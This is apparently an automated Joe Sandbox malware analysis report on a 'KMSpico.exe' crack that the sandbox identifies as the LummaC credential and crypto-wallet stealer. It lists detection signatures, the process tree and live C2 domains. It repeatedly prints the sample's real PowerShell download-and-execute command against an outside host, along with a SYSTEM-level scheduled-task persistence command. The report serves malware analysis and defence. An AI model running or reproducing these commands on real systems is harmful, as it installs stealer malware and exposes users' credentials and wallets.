Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
KMSpico.exe

Overview

General Information

Sample name:KMSpico.exe
Analysis ID:1626785
MD5:73e78bc73d19cce3e6be6beaab073bc2
SHA1:cbb1ca1d8958572ac5875a0b5759cb7881c51945
SHA256:346bad8a553a6ccd5df49e60cd822902460350a6d3a4217d03bc7bbfbd97299b
Tags:exeLummaStealeruser-aachum
Infos:

Detection

LummaC Stealer
Score:88
Range:0 - 100
Confidence:100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected LummaC Stealer
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Disables the Smart Screen filter
Found many strings related to Crypto-Wallets (likely being stolen)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: Schtasks Creation Or Modification With SYSTEM Privileges
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops certificate files (DER)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w10x64
  • KMSpico.exe (PID: 6772 cmdline: "C:\Users\user\Desktop\KMSpico.exe" MD5: 73E78BC73D19CCE3E6BE6BEAAB073BC2)
    • KMSpico.tmp (PID: 6188 cmdline: "C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmp" /SL5="$40806,30453249,844800,C:\Users\user\Desktop\KMSpico.exe" MD5: E4C43138CCB8240276872FD1AEC369BE)
      • KMSpico.exe (PID: 1524 cmdline: "C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe" MD5: A02164371A50C5FF9FA2870EF6E8CFA3)
        • KMSpico.tmp (PID: 5844 cmdline: "C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmp" /SL5="$5081A,2952592,69120,C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe" MD5: 1778C1F66FF205875A6435A33229AB3C)
          • cmd.exe (PID: 5620 cmdline: "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\KMSpico\scripts\Install_Service.cmd"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
            • conhost.exe (PID: 6292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • sc.exe (PID: 3448 cmdline: sc create "Service KMSELDI" binPath= "C:\Program Files\KMSpico\Service_KMS.exe" type= own error= normal start= auto DisplayName= "Service KMSELDI" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
          • cmd.exe (PID: 4276 cmdline: "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\KMSpico\scripts\Install_Task.cmd"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
            • conhost.exe (PID: 1088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • schtasks.exe (PID: 6188 cmdline: SCHTASKS /Create /TN "AutoPico Daily Restart" /TR "'C:\Program Files\KMSpico\AutoPico.exe' /silent" /SC DAILY /ST 23:59:59 /RU "NT AUTHORITY\SYSTEM" /RL Highest /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)
          • UninsHs.exe (PID: 6676 cmdline: "C:\Program Files\KMSpico\UninsHs.exe" /r0=KMSpico,default,C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe MD5: 245824502AEFE21B01E42F61955AA7F4)
          • KMSELDI.exe (PID: 2172 cmdline: "C:\Program Files\KMSpico\KMSELDI.exe" /silent /backup MD5: F0280DE3880EF581BF14F9CC72EC1C16)
      • core.exe (PID: 6112 cmdline: "C:\Users\user\AppData\Roaming\MyApp\core.exe" MD5: 4F23278F1E61ED20751861598F73B94A)
        • powershell.exe (PID: 6460 cmdline: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
          • conhost.exe (PID: 4980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • AutoPico.exe (PID: 4228 cmdline: "C:\Program Files\KMSpico\AutoPico.exe" /silent MD5: CFE1C391464C446099A5EB33276F6D57)
    • WerFault.exe (PID: 3668 cmdline: C:\Windows\system32\WerFault.exe -u -p 4228 -s 1632 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)
  • svchost.exe (PID: 5324 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • svchost.exe (PID: 7004 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • WerFault.exe (PID: 3252 cmdline: C:\Windows\system32\WerFault.exe -pss -s 432 -p 4228 -ip 4228 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)
  • svchost.exe (PID: 3580 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["tewchjourney.icu", "hardswarehub.today", "tracnquilforest.life", "hardrwarehaven.run", "seizedsentec.online", "codxefusion.top", "quietswtreams.life", "starrynsightsky.icu"], "Build id": "AEeq9Q--"}

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
sslproxydump.pcapJoeSecurity_LummaCStealer_3Yara detected LummaC StealerJoe Security
    sslproxydump.pcapJoeSecurity_LummaCStealer_2Yara detected LummaC StealerJoe Security

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      00000004.00000002.4008673426.0000000002630000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_LummaCStealer_4Yara detected LummaC StealerJoe Security
        Process Memory Space: core.exe PID: 6112JoeSecurity_LummaCStealer_3Yara detected LummaC StealerJoe Security
          Process Memory Space: core.exe PID: 6112JoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
            Process Memory Space: core.exe PID: 6112JoeSecurity_LummaCStealerYara detected LummaC StealerJoe Security
              Process Memory Space: powershell.exe PID: 6460INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXECDetects PowerShell scripts containing patterns of base64 encoded files, concatenation and executionditekSHen
              • 0x1aaa:$b1: ::WriteAllBytes(
              • 0x1c59:$b1: ::WriteAllBytes(
              • 0x4df9e:$b1: ::WriteAllBytes(
              • 0x569ae:$b1: ::WriteAllBytes(
              • 0x70a0e:$b1: ::WriteAllBytes(
              • 0x757ea:$b1: ::WriteAllBytes(
              • 0x96eda:$b1: ::WriteAllBytes(
              • 0x992e4:$b1: ::WriteAllBytes(
              • 0x9932c:$b1: ::WriteAllBytes(
              • 0x99379:$b1: ::WriteAllBytes(
              • 0x993bc:$b1: ::WriteAllBytes(
              • 0x99f95:$b1: ::WriteAllBytes(
              • 0xd2623:$b1: ::WriteAllBytes(
              • 0xd27a2:$b1: ::WriteAllBytes(
              • 0x16c53a:$b1: ::WriteAllBytes(
              • 0x16c6b9:$b1: ::WriteAllBytes(
              • 0x181d4d:$b1: ::WriteAllBytes(
              • 0x1a8f9f:$b1: ::WriteAllBytes(
              • 0x1ac5af:$b1: ::WriteAllBytes(
              • 0x1afee1:$b1: ::WriteAllBytes(
              • 0x1b0060:$b1: ::WriteAllBytes(

              Other

              SourceRuleDescriptionAuthorStrings
              amsi32_6460.amsi.csvINDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXECDetects PowerShell scripts containing patterns of base64 encoded files, concatenation and executionditekSHen
              • 0x19b:$b1: ::WriteAllBytes(
              • 0x9e6a:$s1: -join
              • 0x3616:$s4: +=
              • 0x36d8:$s4: +=
              • 0x78ff:$s4: +=
              • 0x9a1c:$s4: +=
              • 0x9d06:$s4: +=
              • 0x9e4c:$s4: +=
              • 0xb5e5:$s4: +=
              • 0xb665:$s4: +=
              • 0xb72b:$s4: +=
              • 0xb7ab:$s4: +=
              • 0xb981:$s4: +=
              • 0xba05:$s4: +=
              • 0x1cb:$e4: Start-Process
              • 0xc183:$e4: Get-WmiObject
              • 0xc372:$e4: Get-Process
              • 0xc3ca:$e4: Start-Process

              Sigma Signatures

              System Summary

              barindex
              Sigma detected: Schtasks Creation Or Modification With SYSTEM Privileges
              Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: SCHTASKS /Create /TN "AutoPico Daily Restart" /TR "'C:\Program Files\KMSpico\AutoPico.exe' /silent" /SC DAILY /ST 23:59:59 /RU "NT AUTHORITY\SYSTEM" /RL Highest /F, CommandLine: SCHTASKS /Create /TN "AutoPico Daily Restart" /TR "'C:\Program Files\KMSpico\AutoPico.exe' /silent" /SC DAILY /ST 23:59:59 /RU "NT AUTHORITY\SYSTEM" /RL Highest /F, CommandLine|base64offset|contains: H!", Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\KMSpico\scripts\Install_Task.cmd"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4276, ParentProcessName: cmd.exe, ProcessCommandLine: SCHTASKS /Create /TN "AutoPico Daily Restart" /TR "'C:\Program Files\KMSpico\AutoPico.exe' /silent" /SC DAILY /ST 23:59:59 /RU "NT AUTHORITY\SYSTEM" /RL Highest /F, ProcessId: 6188, ProcessName: schtasks.exe
              Sigma detected: Suspicious PowerShell Parameter Substring
              Source: Process startedAuthor: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, CommandLine: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\MyApp\core.exe", ParentImage: C:\Users\user\AppData\Roaming\MyApp\core.exe, ParentProcessId: 6112, ParentProcessName: core.exe, ProcessCommandLine: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, ProcessId: 6460, ProcessName: powershell.exe
              Sigma detected: Change PowerShell Policies to an Insecure Level
              Source: Process startedAuthor: frack113: Data: Command: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, CommandLine: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\MyApp\core.exe", ParentImage: C:\Users\user\AppData\Roaming\MyApp\core.exe, ParentProcessId: 6112, ParentProcessName: core.exe, ProcessCommandLine: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, ProcessId: 6460, ProcessName: powershell.exe
              Sigma detected: PowerShell Web Download
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, CommandLine: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\MyApp\core.exe", ParentImage: C:\Users\user\AppData\Roaming\MyApp\core.exe, ParentProcessId: 6112, ParentProcessName: core.exe, ProcessCommandLine: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, ProcessId: 6460, ProcessName: powershell.exe
              Sigma detected: Usage Of Web Request Commands And Cmdlets
              Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, CommandLine: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\MyApp\core.exe", ParentImage: C:\Users\user\AppData\Roaming\MyApp\core.exe, ParentProcessId: 6112, ParentProcessName: core.exe, ProcessCommandLine: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, ProcessId: 6460, ProcessName: powershell.exe
              Sigma detected: New Service Creation Using Sc.EXE
              Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc create "Service KMSELDI" binPath= "C:\Program Files\KMSpico\Service_KMS.exe" type= own error= normal start= auto DisplayName= "Service KMSELDI", CommandLine: sc create "Service KMSELDI" binPath= "C:\Program Files\KMSpico\Service_KMS.exe" type= own error= normal start= auto DisplayName= "Service KMSELDI", CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\KMSpico\scripts\Install_Service.cmd"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5620, ParentProcessName: cmd.exe, ProcessCommandLine: sc create "Service KMSELDI" binPath= "C:\Program Files\KMSpico\Service_KMS.exe" type= own error= normal start= auto DisplayName= "Service KMSELDI", ProcessId: 3448, ProcessName: sc.exe
              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, CommandLine: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\MyApp\core.exe", ParentImage: C:\Users\user\AppData\Roaming\MyApp\core.exe, ParentProcessId: 6112, ParentProcessName: core.exe, ProcessCommandLine: powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath, ProcessId: 6460, ProcessName: powershell.exe
              Sigma detected: Windows Processes Suspicious Parent Directory
              Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5324, ProcessName: svchost.exe

              Suricata Signatures

              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2025-02-28T22:28:51.684283+010020283713Unknown Traffic192.168.2.549973149.154.167.99443TCP
              2025-02-28T22:28:52.472670+010020283713Unknown Traffic192.168.2.549976104.21.112.1443TCP
              2025-02-28T22:28:53.857494+010020283713Unknown Traffic192.168.2.549977104.21.112.1443TCP
              2025-02-28T22:28:56.957209+010020283713Unknown Traffic192.168.2.549980104.21.112.1443TCP
              2025-02-28T22:28:58.252267+010020283713Unknown Traffic192.168.2.549984104.21.112.1443TCP
              2025-02-28T22:28:59.877877+010020283713Unknown Traffic192.168.2.549986104.21.112.1443TCP
              2025-02-28T22:29:01.934731+010020283713Unknown Traffic192.168.2.549991104.21.112.1443TCP
              2025-02-28T22:29:04.435867+010020283713Unknown Traffic192.168.2.549992104.21.112.1443TCP
              2025-02-28T22:29:05.931018+010020283713Unknown Traffic192.168.2.549993104.21.112.1443TCP
              2025-02-28T22:29:06.955422+010020283713Unknown Traffic192.168.2.549994104.20.4.235443TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2025-02-28T22:28:52.892659+010020546531A Network Trojan was detected192.168.2.549976104.21.112.1443TCP
              2025-02-28T22:28:55.350581+010020546531A Network Trojan was detected192.168.2.549977104.21.112.1443TCP
              2025-02-28T22:29:06.279269+010020546531A Network Trojan was detected192.168.2.549993104.21.112.1443TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2025-02-28T22:28:52.892659+010020498361A Network Trojan was detected192.168.2.549976104.21.112.1443TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2025-02-28T22:28:59.068833+010020480941Malware Command and Control Activity Detected192.168.2.549984104.21.112.1443TCP

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus detection for URL or domain
              Source: hardswarehub.todayAvira URL Cloud: Label: malware
              Found malware configuration
              Source: 00000004.00000002.4008673426.0000000002630000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: LummaC {"C2 url": ["tewchjourney.icu", "hardswarehub.today", "tracnquilforest.life", "hardrwarehaven.run", "seizedsentec.online", "codxefusion.top", "quietswtreams.life", "starrynsightsky.icu"], "Build id": "AEeq9Q--"}
              Multi AV Scanner detection for dropped file
              Source: C:\Program Files\KMSpico\AutoPico.exe (copy)ReversingLabs: Detection: 75%
              Source: C:\Program Files\KMSpico\KMSELDI.exe (copy)ReversingLabs: Detection: 71%
              Source: C:\Program Files\KMSpico\Service_KMS.exe (copy)ReversingLabs: Detection: 76%
              Source: C:\Program Files\KMSpico\is-1E470.tmpReversingLabs: Detection: 71%
              Source: C:\Program Files\KMSpico\is-E2FDT.tmpReversingLabs: Detection: 76%
              Source: C:\Program Files\KMSpico\is-SMU19.tmpReversingLabs: Detection: 75%
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe (copy)ReversingLabs: Detection: 73%
              Source: C:\Users\user\AppData\Roaming\MyApp\data\is-GCT6R.tmpReversingLabs: Detection: 73%
              Multi AV Scanner detection for submitted file
              Source: KMSpico.exeReversingLabs: Detection: 15%
              Sample uses string decryption to hide its real strings
              Source: 00000004.00000002.4008673426.0000000002630000.00000004.00000020.00020000.00000000.sdmpString decryptor: tewchjourney.icu
              Source: 00000004.00000002.4008673426.0000000002630000.00000004.00000020.00020000.00000000.sdmpString decryptor: hardswarehub.today
              Source: 00000004.00000002.4008673426.0000000002630000.00000004.00000020.00020000.00000000.sdmpString decryptor: tracnquilforest.life
              Source: 00000004.00000002.4008673426.0000000002630000.00000004.00000020.00020000.00000000.sdmpString decryptor: hardrwarehaven.run
              Source: 00000004.00000002.4008673426.0000000002630000.00000004.00000020.00020000.00000000.sdmpString decryptor: seizedsentec.online
              Source: 00000004.00000002.4008673426.0000000002630000.00000004.00000020.00020000.00000000.sdmpString decryptor: codxefusion.top
              Source: 00000004.00000002.4008673426.0000000002630000.00000004.00000020.00020000.00000000.sdmpString decryptor: quietswtreams.life
              Source: 00000004.00000002.4008673426.0000000002630000.00000004.00000020.00020000.00000000.sdmpString decryptor: starrynsightsky.icu
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0228BF0A CryptUnprotectData,4_2_0228BF0A
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_0228FCE6 CryptUnprotectData,4_2_0228FCE6
              Source: KMSpico.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpicoJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\certJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\AccessJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\ExcelJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\GrooveJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\InfoPathJump to behavior
